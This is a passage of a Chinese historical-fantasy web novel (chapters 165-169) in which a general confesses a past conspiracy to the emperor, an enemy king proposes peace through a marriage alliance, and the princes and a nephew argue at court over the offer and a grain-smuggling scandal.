张之熊立刻摇头:“密信确实为真,只不过我答应与天奴合作,却是另有隐情。” 张之熊头垂的很低,不敢再有丝毫对赵阳帝不敬的意思。 “我虽答应与天奴合作,可天奴王让我做的事,并不伤及赵阳根本,只是要杀了老靖远侯,除了此件不得不为的事情,我再无做过其他对赵阳不利之事。” 皇帝停下脚步,看着跪在地上的将军,心中大惑不解。 “好,朕念你往日功劳,便给你一次机会,你倒是说说,是什么样的隐情,能让你不得不联合天奴,诛杀我赵阳威风赫赫,立下汗马功劳的功臣?” 张之熊听后,再次重重地磕头:“谢陛下仁慈。” 张之熊抬起头来,目光注视着前方,一字一字开始讲述,他当年与天奴合作之事。 “老靖远侯虽武艺高强,战功赫赫,为赵阳立下汗马功劳。可他千不该万不该,赶尽杀绝,在与天奴对战之中,将天奴太子斩杀。当时虽暂时击退天奴,保住了天誉城,可也彻底得罪天奴,天奴王恨他入骨,休整几年,便要卷土重来,那时老靖远侯已老,天奴士兵又骁勇善战,我们根本不是他们对手呀!当我得知消息,便想着先与天奴和谈,可他们唯一的要求,就是杀了老靖远侯,为他们太子报仇!天奴王甚至答应过我,只要杀了老靖远侯,不止不会再进犯我赵阳,之前的恩怨也一笔勾销。” 赵阳帝无论如何也想不到,张之熊竟说出这番话,他紧紧盯着他的眼睛,竟未发现丝毫破绽,只不过在内心深处,他还是认定,张之熊必是为了逃过责罚,早就提前编好的故事,只不过他演技甚好,方才没有露出破绽。 “若是真有此事,你为何不直接汇报与我?而是费尽心机,冒着杀头的风险,私自与天奴王合作?你可知,这种事一旦事发,必将死无葬身之地?” 张之熊目光炯炯,眼神透出我不入地狱谁入地狱的坚定:“我知皇上仁厚,若是知情,只会左右为难,一边是护国将军,一边是万千百姓,不论如何选择都会被别人诟病,所以我才暗下决定,私自与天奴合作,还请皇上明察。” 赵阳帝眉头一拧,问道:“这么说,你费尽心机,甚至不惜搭上你亲生妹妹一生,杀了老靖远侯,还是在为我分忧解难了?” 首先,他并不信任张之熊的话,其次,以张之熊的意思,竟好似他是帮他杀了老靖远侯一样,直接背了这么大一口锅,任谁都不会开心,更何况,他还是一国之君? 张之熊见赵阳帝明显的不悦,急忙再次磕头:“臣不敢,臣也有私心,一是为了接替大将军之位,二是驻守边境的军队,虽有老靖远侯统领,可军中也有很多我的兄弟,我实在不忍心他们,战死沙场。” “想必你更多是为了笼络边境那几位副将吧,毕竟他们是老靖远侯一手栽培,否则你又何必费尽心机,将唯一的妹妹,嫁入张家,直接多找人手,刺杀老靖远侯,岂不是更加简单?”赵阳帝见他承认私心,反而信任了他几分,只是他却也不傻,一下便猜出张之熊真正的目的。 张之熊哀叹一声,眼泪自眼角也不由落下:“老靖远侯虽诛杀了天奴太子,可战场之上,刀剑无眼,他这么做也是为了整个赵阳。我同为武将,岂能不明白其中道理,只是为了赵阳万千百姓,还有众多军中兄弟,我不得不杀了他,为了弥补我的缺失,我这才将妹妹嫁给苏洵,为他生儿育女。” 张之熊见赵阳帝低头沉思,已经信了他几分,连忙继续说道:“只是没想到,过了这么久,清华公主忽然查到此事。只可怜我妹妹,为了我的这张老脸,白白浪费一条性命,我这当哥哥的实在是对不起她呀,清华公主此举的目的,表面看来是为了母亲报仇,可私下是否是想帮天韶,挑唆你我君臣关系,借机瓦解我国实力,便不得而知了。” 赵阳帝听出张之熊这话的真正意思。 他这明显想转移矛盾,让他怀疑苏清华与天韶。他虽然明白他是有意挑唆,可苏清华与天韶那边,他却也不得不防! 都说皇上是万人之上,可又知道,想要保住这无上的地位,他每日要想多少事情? 赵阳帝低下头,瞥了张之熊一眼:“你到底只是利用你妹妹,还是真为她的死而自责,我没兴趣知道。我只在乎一件事情,那日围场刺杀之事,可是你的手笔?毕竟那刺客身上有天奴暗卫的标志,若是没有人暗中帮助,他根本不可能那么顺利进入围场。” “是。”张之熊点了点头,承认下此事。 第一百六十六章 天奴来信 “放肆,公然刺杀朕,也是诛九族的大罪,难道这次刺杀,你也想说,是为了朕,为了整个赵阳?” 赵阳帝边大声质问,边抬起右脚,狠狠踩向张之熊的胸口。 那日行刺他虽未受伤,可也受惊不轻,接连做了好几日噩梦!他如何能不恨? “陛下受惊,臣身为将军,未能及时保护,实在罪该万死。臣对陛下忠心耿耿,就是让我死一万次,我也不敢刺杀皇上啊!” 张之熊被踢倒在地,他嘴里却没闲着,急忙出言解释。 “刚才你不是亲口承认刺杀之事,如今这话又是什么意思?”赵阳帝紧皱眉头,内心实在不解。 “当日刺杀苏清华那人,确实是我派出的,可是刺杀皇上的那些人,却绝对不是我派的人。” 张之熊被赵阳帝一脚踢中胸口,可他不敢表现出任何不满,忍着疼痛,立刻爬起身,继续挺直身板跪好,解释道:“天奴王听闻天韶与赵阳签订和平条约,而且封了苏清华公主,让她当六城之主,那六城地理位置特殊,连接三国交界处,天奴担心对他国不利,便命我刺杀清华公主,以免城池落入天韶掌控之中。” 张之熊小心抬起头,偷瞄着赵阳帝,满是委屈的说道:“天韶太子狡诈异常,臣猜测,他将六城交给清华公主,只是缓兵之计,私下他必会想办法将六城完全掌控,我这才会配合天奴刺杀清华公主,至于刺杀皇上的事,我实在不知呀!” 天韶帝眉头紧皱,内心翻涌。 他本以为今日只要收回兵符,将张家灭门即可,没想到事情忽然有如此大的反转。 张之熊的话,他并不完全相信,可刺杀他的人,确实没有留下任何线索,暂时也不确定是谁派的人。 万一真是天韶与苏清华找的杀手呢? 如今兵符已缴,张之熊已无威胁,反而苏清华,原来默默无闻,自从被封公主,先是对付太子,大皇子,苏家,张家,搅的京城风波不断,若说没有天韶背后的支持与挑唆,他是不信的。 赵阳帝手指张之熊,继续逼问:“那暗中资助天奴粮草又是怎么回事?你可知道,天奴粮草不足,才会老实呆在北境,若是有了粮草,依照他们的野心,必定想办法来犯我国。” 张之熊双目一闭,一行清泪流下:“皇上,臣实在冤枉啊,不知是谁,如此居心拨测,竟编出如此谎言,欺瞒与您,又置我于如此不仁之地,赵阳生我养我,又给我高官厚禄,我怎会做出这等不义之事,还请圣上明察,别中了小人计策。” 赵阳帝紧盯张之熊眼睛:“你此番话,都是真的嘛?” 张之熊深处右手食指中指:“我用张氏一族的性命起誓,此话千真万确,皇上若是不信,可派人去查,若是查出背后之人是我,我张氏一族甘愿赴死。” 见张之熊竟用张氏一族性命起誓,赵阳帝的内心终于开始动摇。 不过,他并没有打算就此放过张之熊,毕竟好不容易找到可以打压他的机会,他并不想就此放弃.... 就在赵阳帝犹豫之际,外面忽然传来侍卫急报的声音。 “报...天奴使者来信...” “天奴来信?天奴为何会在此时来信?难道天奴竟是知道你出事,急不可耐的来信,想请你去天奴当将军?” 赵阳帝冷哼一声,语气里尽是讽刺。 “臣不敢,臣生是赵阳人,死是赵阳鬼,绝对不会背叛赵阳。”张之熊信誓旦旦。 “最好如此,否则的话...” 赵阳帝警告的看了张之熊一眼,然后转头吩咐江全:“江全,将那人带进来吧。” “传信差进殿...”江全对着外侧大声传唤。 语毕,一个专门负责,为赵阳国帝传送急信的侍卫,进入大殿,并跪倒在地。 “皇上万岁,万万岁。”那侍卫请安之后,继续说道:“启禀圣上,刚天奴使臣来信,让我务必以最快的速度,将此信交给皇上,说是对我赵阳大有好处的一封信。” 赵阳帝对江全点了点头,江全立刻会意,走到侍卫身边,接过他双手举在头顶的信,轻轻打开,开口念到: 敬赵阳国主: 吾乃天奴之主,孤承宗庙之重,临御敝邑,夙夜兢兢,未尝敢懈。然兵戈扰攘,烽火不息,致使黎民涂炭,田园荒芜。每念及此,孤心恻然,寝食难安。夕日两国相争,刀光剑影之下,生灵如刍狗,城垣似废墟,此非孤之所愿,亦非贵国之幸也。 今孤愿弃干戈,寻安宁,特遣使臣,奉此尺素,诚求两国言和。 为表诚意,愿以千匹良驹,送与贵国,并求娶贵国公主,结秦晋之好,通婚姻之盟。 翘首以盼佳音! 江全声音洪亮,一字一句,将信中内容大声朗读完毕。 赵阳帝坐在中央的宝座之上,眉头却越皱越紧。 他开口问道:“张将军,你可知,天奴王这是什么意思?” 张之熊满脸喜色,大声回道:“依照信中内容,天奴王是想用千匹良驹,求娶我国公主,以求两国安好,这是对我赵阳大有裨益的好事呀!” “大有裨益?此话怎么说?”赵阳继续问道,语气里含着一股子别有深意的试探。 张之熊闻言,却深深叹了口气,摇摇头说:“罪臣曾一时糊涂犯下大错,与天奴有错综复杂的关系,此事关乎整个赵阳的安危,为了避嫌,臣不敢随意妄言,还请陛下恕罪。” “我若是非让你说说看法,否则便不恕你罪呢?”赵阳帝并未就此放过他,反而警告出声。 “既然皇上想听臣的愚见,那是臣的荣幸。”张之熊再次磕了一个头,方才继续说道:“天奴,天韶,赵阳接壤。三国各有优劣,天奴善战,尤其战马精良,只是土壤贫瘠,没有足够粮草。 天韶经济发达,银钱最是多,粮草也算丰富。可向来重文轻武,军事作战方面并不是强项。可是听说,前几年忽然开出一块铁矿,所以他们迅速改良了装备,上次攻打我们,靠的也是这批良好的装备。 至于我们赵阳,人多粮盛,军力本也算上乘,可唯一缺的便是战马,若是能有天奴善战的战马加持,再集中精力寻找铁矿,加强军队训练,将来必是军事实力三国最强的。” 第一百六十七章 “三国中最强的...” 赵阳帝垂着眼帘,内心暗自重复着这句话,指尖无意识地摩挲着衣角,指腹碾过布料的金线时,带了点不易察觉的轻颤。 如果真的有那一天.... 这美好的愿景,让赵阳帝内心不由澎湃... 张之熊眼神上瞟,一直观察着赵阳帝的神情。 那抹笑虽隐蔽,他还是发现了。 “我们与天韶对战,便是输在战马不行。若是有了天奴战马,再加上战士们的无畏精神,又何必被天韶压制?” 张之熊乘胜追击,想要彻底说服赵阳帝。 毕竟这关乎他的生死存亡... 赵阳帝垂眸,同样发现了他嘴角压不住的喜悦。 他的脸色瞬间冷了下来,语气也冷了几分:“与天韶对战,难道不是你故意投降认输?” 主动投降,将六座城池管辖权主动交出,这是他作为一国之君,这辈子最大的耻辱... “皇上冤枉呀,天韶军队武器实在精良,战甲更是坚硬无比,若不是天誉城天然优势,便是靠靖远侯在世,也断然守不住天誉城的。” 张之熊见赵阳帝脸色变冷,又将话题扯到投降之事,立刻开口解释。 赵阳帝闻言,眉头一皱:“既然如此,我们有了战马,岂不是也很难打败天韶,报当年之仇?” “那可不一定。”张之熊信誓旦旦:“百匹战马虽不多,可若是多加培育,将来拥有千匹,万匹战马,到了那时,我们骑兵在前,占据先天优势,冲乱天韶的防御阵,再逐个击破,若是我们趁此机会,再找到铁矿,研发精锐武器,那时我们便立于不败之地,可主动出击,前去攻打天韶,报丢失六城之仇。” “找到铁矿?说的简单,可太祖继位以来,几百年过去,我们都未曾发现铁矿,又如何能在短时间内,找到铁矿?” 赵阳帝唏嘘出声,他如今年纪已不年轻了,实在是等不起呀... 赵阳自建国以来,便与天奴战祸不断,虽然天奴善战,不过却粮草短缺,人员也不足,所以造不成根本威胁,可天奴人经常到赵阳城池,烧杀抢掠,骚扰边境百姓,也令赵阳历任君主,不胜其烦。 后来老靖远侯有勇有谋,不止及时击退进犯的天奴,而且另其损失惨重,,直接退回天奴草原深处,连续十几年未曾再进犯赵阳。 这是他今生最大的荣耀! 他本以为,天奴实力受到如此重创,他在位期间,赵阳不会再有战乱之苦。 没想到的是,一直重文轻武,喜好和平的天韶忽然来犯,当时老靖远侯已死,他只能派出张之熊应战。 本以为击退天韶会轻而易举,最后却以失败告终... 这是他今生最大的耻辱! “皇上若是相信臣,臣愿意用尽余生,全力帮赵阳找寻铁矿,而且我已秘密找到一位能人,他曾参与天韶铁矿的寻找,天韶找到铁矿之事,臣也是从他那得到的消息...” 赵阳帝闻言,没有立刻回答。 他背过身,一步一步的朝着龙椅走去... 当他重新坐回龙椅,眼神里的光也坚定了几分! “张爱卿先起来吧...”他对着张之熊挥了挥手。 张之熊眼底立刻露出喜色... 他知道,今天这死罪算是暂时逃过。 “我膝下无女,又哪来的适龄公主,可以嫁与天奴王?”赵阳帝再次开口。 “皇上可从皇家旁支,或者再不济从众位大臣府上,选一适龄女子,封为公主。想必天奴王要的是两国和好的诚意,并不是非得真正的公主...” “可天奴地处偏远,条件又十分恶劣,只怕大臣们会不舍得自家女儿...”赵阳帝眉头微皱,提出自己的担忧。 “能为陛下解忧,那是我们臣子的荣幸,若实在没有人愿意,我女儿年方十六,正是合适人选。” 张之熊语气真诚,没有丝毫犹豫与不舍。 便是赵阳帝闻言,都不由内心一动。 “此事事关重大,我会好好考虑的,你先回去吧,回去之后不许出门,也不许与任何人联系,若是你敢再妄动,我绝不轻饶!” 赵阳帝下了最终命令。 “是,臣绝对不会妄动!罪臣告退...” 张之熊再次磕头,低垂着身子,慢慢倒退着出了大殿。 待张之熊身影消失,赵阳帝抚摸着兵符,内心激动不已:这兵符,终于又回到自己手中。 当年老靖远侯抵抗天奴,他曾交于他一次,后来天奴败北,老靖远侯第一时间将兵符交还,这也是他一直对老靖远侯,对苏家恩惠有加的原因。 后来天韶来犯,为了边境安危,他不得不再次拿出兵符,交给张之熊保管,只是没想到这次,交出去容易要回来难。 张之熊打了败仗,却一直拿着兵符不还,实在是可恶至极! 如今终于找到打压他的机会,他本不想放过... 可是天奴的战马,实在是诱惑至极。 还有那铁矿,若是真的能找到... 赵阳帝眉头拧成一个结,身子靠在椅背上,眼神放空却又带着紧绷,心里像有一架天平,脑子里像有无数个声音,在喊着不同的答案,各种利弊在脑海里撞来撞去,乱成了一锅粥 赵阳帝冥思苦想,到底该怎么选?他要好好想想... 次日一早,赵阳帝便将太子,大皇子与宋墨渊宣进宫来,将天奴来信,给他们一一传递着看了。 “对于天奴王想要和亲求和之事,你们几个怎么看?”赵阳帝开门见山,直接问出他最纠结的问题。 “父皇,这是天大的好事呀,天奴的战马最是精良,一千匹战马可不是少数目,我们再找精通养马的人,多加繁育,用不了几年,我们赵阳的战力必定会更上一层楼,再加上我们充足的粮草,必会是三国中武力最强的国家。”太子满脸喜色,率先开口道。 宋墨渊望向赵阳帝,见他微微点头,心中不由一紧,他缓缓开口劝到:“天奴人向来野蛮,这代天奴王更是阴险狡诈,他们向来不讲信用,只怕这求和之事,只是他们的阴谋。” 第一百六十八章 偷运粮草 赵阳帝听闻此话,眉头自然的轻皱,他看了一眼宋墨渊,没有当面驳斥他,而是转头问大皇子:“亥儿,这事你怎么看?” “启禀父皇,我相信父皇,只要有父皇在,无论怎么选,赵阳都会立于不败之地,儿子一切听从父皇安排。”大皇子缓缓开口。 “好。”赵阳帝一拍桌子,站起身来,眼里充满了雄心壮志:“大皇子如今果然精进了,父皇甚是高兴。” 太子见父皇如此称赞大皇子,心里闪过不快,眼神也不自觉的望向大皇子。 大皇子这几日甚得父皇喜欢,他甚至听说父皇要派大皇子前去边境... 那样的话,他岂不是便有了掌控兵权的机会? 这对他将是巨大的威胁! 太子脑中思索万千,面上却隐藏的极好,他调整心情,开口道:“大哥说的对,我也相信父皇,我们赵阳的地理位置本就优越,从古至今就一直遥遥领先他国,如今在父皇治理下,更是国泰民安,天韶与天奴同时对我们抛出合作意向,更说明我国的强大,所以到底该如何选,主动权完全掌握在父皇手中。” 赵阳帝听闻此言,忍不住的点头,内心深处的喜悦根本压抑不住,前一阵被天韶逼的主动投降,又一直被天韶压制的憋屈,好似也得到了释放。 “舅父,我们已经跟天韶签订盟约,左右横摆只怕有失我赵阳威严,还请舅父慎重考虑。”宋墨渊知道此时开口不是明智之选,可眼见赵阳帝渐渐迷失在太子的夸赞中,他为了整个赵阳,不得不再次开口。 “还有更重要的是,我国并无适龄公主呀!天奴苦寒之地,我们如何能用一个女子一生幸福,换这百匹战马?” 宋墨渊鲜少说这么多话,可此时他内心实在急切,只盼着赵阳帝能听进去一二。 “张将军已答应,将他的女儿嫁过去。我们不浪费一兵一卒,白白得到百匹良马,和乐而不为?” “我们哪里是白白得到的?要了战马,签订了和平条约,就意味着,张之熊偷运给天奴的粮草,也不能再追究,天奴王怕是早就想通这一点,才会愿意给百匹战马!” “张将军用全族性命起誓,那粮草绝对不是他偷运的,此事在没有全部证据之前,还是不要先将帽子扣在他头上吧。” 宋墨渊见赵阳帝已开始帮张之熊说话,内心不由更是着急。 “就算粮草之事暂时没有证据,可张志雄勾结天奴,害死靖远侯,证据具足。若是答应让张家女儿去天奴和亲,岂不是不能再追究他的罪责?” 赵阳帝眼神中已透出不耐,强压着性子解释:“你即说天奴是苦寒之地,让张家女儿去和亲,那岂不是正好可以将功赎罪?” 宋墨渊眉头紧皱,不得不再次开口:“舅父,还请三思呀,张之熊奸诈异常,好不容易有机会可以掰倒他,若是放虎归山,只怕对赵阳社稷不利!” 赵阳帝挥挥手,眼神里已毫无耐性:“他如今已交回兵符,再也折腾不出什么风浪,张家的事,我心中有数,你不必再说。” 太子见宋墨渊在赵阳帝面前吃瘪,心中不由欣喜。 这可是百年难遇的情形。 他嘴角一弯,便开口说:“国与国之间交往,向来利益至上。当时与天韶签订盟约,并没有明确规定,不能同时跟天奴国成为盟友,况且我赵阳虽然没有天韶富足,可战力一直在天韶之上,上次战败,便是因为天韶用了阴招,毕竟天韶人最是精明,算计人的功夫,又岂不会用在战场上?” 太子言之凿凿,好似知道什么内情。 “太子什么意思?难道上次败给天韶,竟是有什么内幕?”赵阳帝疑问道。 “父皇难道还不知?怪不得父皇刚才提及粮草之事,却未提及此事。”太子不可置信的看着赵阳帝,继续说道:“我还以为苏赫早已跟父皇汇报,毕竟父皇这次派他前往边境,便是为了查清粮草失踪真相。” “到底什么事情?别卖关子了,还不快快说出来?”赵阳帝失去耐心,很是急躁的大声质问。 “我舅父前几日给我来信,说是边境那边已经查清,粮草失踪一事,竟是刘林的手笔,他被天韶买通,秘密将粮草卖给天奴,然后再将粮草,换成没有营养的陈年旧货,导致战马无力,最终败给天韶,在刘林的营账,不止发现大量银子,还找到了与天韶勾结的书信,这事被许多士兵亲眼所见,不知为何,苏赫却只将刘林关押,却一直不将此事,汇报给父皇,最终导致刘林在狱中畏罪自杀?” “什么还有这种事?看来必须找个信任的人去边境,给我好好查查这件事,顺便也给我盯着那边!”赵阳帝一拍桌子,大声说道。 “乾儿,你接着说,你刚才说真凶叫刘什么?” “刘林,他只是张之熊手下一名小小的千户,父皇不认识也是应该,不过这个人,大皇子应该认识。” 太子转头看向大皇子,一脸的得意。 “我为何会认识?还请太子解惑?”大皇子一脸疑问。 “他的女儿便是刘诗雨,大皇子不会忘了,你还有一位侍妾,是太后亲下懿旨,定下的喜事吗?” 见大皇子仍是一头雾水,而且也不像装的。 太子只好再次解释:“那日春猎,有一位姑娘甘愿放弃名誉,用身体为你取暖,难道大皇子竟忘的如此干净?还是听说她的父亲出事,故意假装不认识?” “哦,原来是她。我当时恰好病了,醒来之后,好似听管家提过一次,可当时脑袋昏沉沉的,便将此事忘了。” “大哥真是有先见之明,幸好未让刘诗雨入府,否则只怕与那勾结天韶,背叛赵阳的罪臣牵扯上。”太子嘴上如此说,心里却惋惜不已。 若是刘诗雨已入府多好,那样的话,大皇子便失去了去边境的机会。 毕竟他与刘林算关系不菲,想要去北境,必然要调查粮草之事,可调查粮草之事,大皇子便要避嫌。 第一百六十九章 兄弟同心 “既然如此,那我明日便将她与她的母亲迎入府中。”大皇子毅然开口。 “什么?”太子不可置信的看着大皇子。“你即已知其父叛国,为何还要迎她入府?” “何况当日之事,本就有很大的疑点,恐怕从头到尾,都是她在设计你,毕竟明眼人都看的出来,哪个好人家的姑娘,会主动往男人怀里钻?还不是看上了你皇子身份?” 太子冷哼一声,眼神鄙夷地说:“他的父亲叛国,她设计陷害皇子,还真是上梁不正,下梁歪!” 大皇子眼神坚定:“偷运粮草之事,尚未查清真相,她的父亲并未被正式治罪,况且罪不及出嫁女,太后即将她赐给我,她即是我的女人,我这个时候,理所应当该护着她。” 大皇子的语气,竟是护着刘诗雨的意思,难道本是焦躁易怒的大皇子,竟真的改过自新,也开始玩起计谋了? 太子内心本是十分遗憾,大皇子与刘家并未完全扯上关系。 之后说的所有话,也不过是想借此机会,嘲笑打压一下大皇子。 他怎么也没想到,大皇子竟会在这个时候,当着父皇的面,毅然承诺接刘诗雨入府。 大皇子越是如此坚持,他反而有了一种不好的预感。 毕竟大皇子如今沉稳许多,他如此坚持,断然不会仅仅因为可怜刘家母女。 只怕大皇子发现了端倪,故意接刘氏母女入府,其实是另有所图。 即想通了这一层,太子当然要阻止大皇子与刘家母女接触。 “大哥,你又何必非得与刘家沾上关系?趁着如今她尚未入府,你直接请太后再下懿旨,废除你们两人关系便是,反正她不过是一个没名分的侍妾!” “祖母对我向来慈爱,为了我的亲事更是费尽心思,我如何能让她做出,出尔反尔的事?” 太子见大皇子铁了心,要与他作对,便只好转头求助赵阳帝。 “父皇,大哥心思单纯,被刘家姑娘骗了,还在好心帮她打算,只是大哥毕竟是您的儿子,如何能娶如此身份的女子,即使只是一名侍妾,怕也是玷污了我皇家声誉!” 赵阳帝闻言,点了点头,觉得十分有道理。 原来他不喜大皇子,根本不在意他身边的女子,是如何身份。 如今他对大皇子印象大有改观,对他的将来同样也寄予厚望,便觉得那刘诗雨给他当妾,确实是不够格,况且如今她的父亲,又跟偷运粮草扯上了关系! 赵阳帝低头看向大皇子,眼角的纹路都变得柔和,声音里的温度也比平日暖了几分:“亥儿,这刘诗雨即如此不堪,你也不必勉强自己,随便找个理由,跟她扯清界限便是,至于你祖母那里,我帮你去解释。” 大皇子拱手一礼,语气万分恭敬道:“父皇,您对儿子的心意,我心中感激万分,那刘诗雨毕竟救过我一次,也算与我有缘,不过是一个妾室,我接她入府,不过是多张嘴吃饭而已,此等小事,便无需劳您费心了。” “好,既然如此,那你便自己做主吧,你年纪也不小了,你母妃去世的早,这几日,父皇会好好帮你选一个正妃,等你娶妻生子,我便也放心了。” “多谢父皇,儿臣自当守住本心,好好为赵阳尽心做事,不让父皇操心。” “好!看着你们兄弟能互相关心,我心中很是欣慰,以后你们也要这样,兄弟同心互相扶持,这才是我赵阳最大的财富!” “是,儿臣谨遵父皇教诲!”太子与大皇子异口同声。 “好了,偷运粮草之事,我本是派苏赫前去查探,可过了这么久,他一点消息也没有给我,此事实在令我担心...”赵阳帝沉吟道。 宋墨渊见状,急忙替苏赫解释:“舅父,苏赫一直未传回消息,必定是此案尚有很多疑点,亦或是有人从中阻挠,不让苏赫往京城传递消息,舅父千万不要听信谗言,怀疑苏赫的忠心呀!” 太子闻言,脑门皱紧,声调不由提高几分:“表弟你是什么意思?父皇刚才还说让我们兄弟同心,如今你当着父皇的面,便如此诋毁我?什么叫听信谗言?难道我舅舅好心帮忙传递边境消息,竟还成了奸臣不成?” “我记得太子的舅舅是在佟城当太守,为何会对边境的消息如此清楚?佟城是边境通往京都的必经之地,难道苏赫往京都递的书信,都被佟城的人留下了?”宋墨渊不答反问。 “你胡说,佟城离着边境不远,我舅舅身为太守,当然要时刻关注边境信息,你休要血口喷人!” 太子大声反驳,他话锋一转,又反问道:“倒是表弟,今日一直帮着天韶说话,难道是为了清华公主?还是你也被天韶收买了?” 宋墨渊冷笑一声,道:“说我被天韶收买,太子可有证据?太子身为一国储君,说话竟是如此武断?没有丝毫证据的话,便敢随意在舅父面前开口?何况这等通敌叛国的大罪,你想也敢胡乱扣到我头上,难道你竟如此容不得我?” “你...” 太子闻言刚要反驳,赵阳帝却猛地一拍桌子,大声叱喝道:“够了!我刚夸你们兄弟同心,你们便当着我的面吵架,这是当我死了吗?” “儿臣,渊儿,不敢!”两人同时出声。 见赵阳帝发火,二人不敢再辩,立刻低声认错。 “渊儿,太子想为朕分忧,一时心急说错了话,你别跟他计较。” 赵阳帝见二人认错,缓和了语气。 “还有太子,渊儿说的话也有几分道理,你身为太子,当然应该谨言慎行。渊儿一心为赵阳,怎会被人随意收买,我相信便是有一天你被收买,渊儿也不可能这么做!” “是,儿臣知错,还请表弟大人不计小人过,原谅我的口是心非。” 太子知道赵阳帝最是疼爱宋墨渊,绝对不会真心烦他,而对他便不一定了! 他内心虽是不忿,表面却不敢丝毫表现出来。